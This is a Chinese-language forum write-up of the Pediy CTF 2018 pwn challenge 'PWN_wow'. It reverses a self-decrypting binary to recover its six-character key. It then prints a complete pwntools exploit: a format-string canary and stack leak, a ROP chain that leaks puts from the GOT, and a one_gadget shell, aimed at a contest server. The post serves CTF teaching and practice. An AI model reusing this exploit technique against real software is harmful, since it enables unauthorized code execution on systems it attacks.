首页
社区
课程
招聘
[原创]第三题 PWN_wow WriteUp
2018-6-20 15:18 2318

[原创]第三题 PWN_wow WriteUp

2018-6-20 15:18
2318

Pediy CTF 2018 - PWN_wow WriteUp

这道Pwn题……应该是分两个阶段,逆向和Pwn

0x01 Reverse

首先可以发现test函数将自己ptrace了,从而无法挂上调试器。Patch掉之后可以调试。
分析main函数可以发现大量的意义不明指令,调试上去跑一下,发现程序首先mprotect了代码段,改成可读可写可执行,然后读入6个字符,在第i个阶段将第i个字符和指令字异或,阶段完后将第i+1个字符与之前的字符异或作为新的被异或字符(有点绕),一共6个阶段。

 

我一开始的想法是爆破字节,寻找合法的指令。

 

爆破脚本:(第一阶段)

from pwn import *

def xor(a, b):
    res = ""
    for i in a:
        res += chr(i ^ b)
    return res

data1 = [ 0x2D, 0xE8, 0x61, 0x6D, 0x2D, 0x48, 0xE5, 0x65, 0x65, 0x65, 
  0x2D, 0x54, 0xAC, 0xEF, 0x79, 0x6D, 0x55, 0xB6, 0xED, 0x79, 
  0x6D, 0x2D, 0x9A, 0xA4, 0x2D, 0xE6, 0x9C, 0x45, 0x19, 0x8A, 
  0x2D, 0x60, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, 0xEF, 
  0x71, 0x6B, 0x2D, 0x9A, 0xA3, 0x57, 0x71, 0x6B]


f = open("asm.txt", "w")

for i in range(255):
    f.write(str(i) + '\n')
    f.write(disasm(xor(data1, i)) + "\n")

得到一大堆的汇编,拿头怼了一会儿,发现i = 101的指令似乎是合法的:

   0:   48 8d 04 08             lea    rax,[rax+rcx*1]
   4:   48 2d 80 00 00 00       sub    rax,0x80
   a:   48 31 c9                xor    rcx,rcx
   d:   8a 1c 08                mov    bl,BYTE PTR [rax+rcx*1]
  10:   30 d3                   xor    bl,dl
  12:   88 1c 08                mov    BYTE PTR [rax+rcx*1],bl
  15:   48 ff c1                inc    rcx
  18:   48 83 f9 20             cmp    rcx,0x20
  1c:   7c ef                   jl     0xd
  1e:   48 05 80 00 00 00       add    rax,0x80
  24:   48 31 c9                xor    rcx,rcx
  27:   8a 14 0e                mov    dl,BYTE PTR [rsi+rcx*1]
  2a:   48 ff c6                inc    rsi
  2d:   32 14 0e                xor    dl,BYTE PTR [rsi+rcx*1]

101对应的字符是e,输入e过了第一阶段。

 

逆了一会儿,觉得这个方法效率太低,就寻找其他的方法,发现待异或数据中有这样的数据:
0x48, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, ……, 0xE6, 0x9C, 0x45, 0x19, 0x8A, 0x2D, 0x60, 0xE5, 0x65, 0x65, 0x65, 0x2D, 0x54, 0xAC, ……

 

汇编指令中最常出现的字节是0x00,而且经常作为立即数出现,不满4字节的数字中必然出现多个0x00,任何数字异或本身都是0,所以这个0x65就是要找的字符。

 

同理去寻找下面5段,找到需要的数是0x13, 0x4b, 0x25, 0x44, 0x0f, 两两异或得到需要的字符是v X n a K,所以输入的六个字符是evXanK。

 

过掉这一阶段以后进入pwn的阶段。

0x02 Pwn

过了前面会输出一个wow,然后允许用户输入。
第一次的输入会直接作为printf的参数来输出,存在格式化字符串漏洞。第二次可以输入0x200个字符,存在栈溢出。

 

这里的打法还是比较常规的,格式化字符串泄露Canary,栈溢出ROP拿shell。不过有一个坑点,就是程序在解密了代码之后又加密了回去,导致再调一次main函数去获得输入点的方法不可行。解决方案是在格式化字符串漏洞利用的时候获取一个栈地址,手动调好rbp,然后直接返回到main函数最后输入的地方。

 

EXP:

from pwn import *

context(arch = 'amd64')

#p = process("./wow")
p = remote("139.199.99.130", 65188)
elf = ELF("./wow")

payload = chr(101) + chr(0x13 ^ 101) + chr(0x13 ^ 0x4b) + chr(0x25 ^ 0x4b) + chr(0x44 ^ 0x25) + chr(0x0f ^ 0x44)
print payload
p.send(payload)
p.recvuntil("wow!\n")
p.sendline("%13$llx+%23$llx")
canary = int(p.recvuntil('+')[:-1], 16)
print "[+] Canary: %x" % canary
stack_addr = int(p.recvline().strip(), 16)
print "[+] Stack: %x" % stack_addr


puts_plt = 0x400580
puts_got = 0x601018
pop_rdi = 0x400b23
ret_to_addr = 0x400a5e

payload  = "A" * 88
payload += p64(canary)
payload += p64(stack_addr - (0x560 - 0x488 - 0x40))
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret_to_addr)

raw_input()
p.send(payload)

puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))

print "[+] puts_addr: %x" % puts_addr

one_addr = puts_addr - 0x6f690 + 0x45216

payload = "\x00" * 56
payload += p64(canary)
payload += p64(0)
payload += p64(one_addr)

p.sendline(payload)

p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回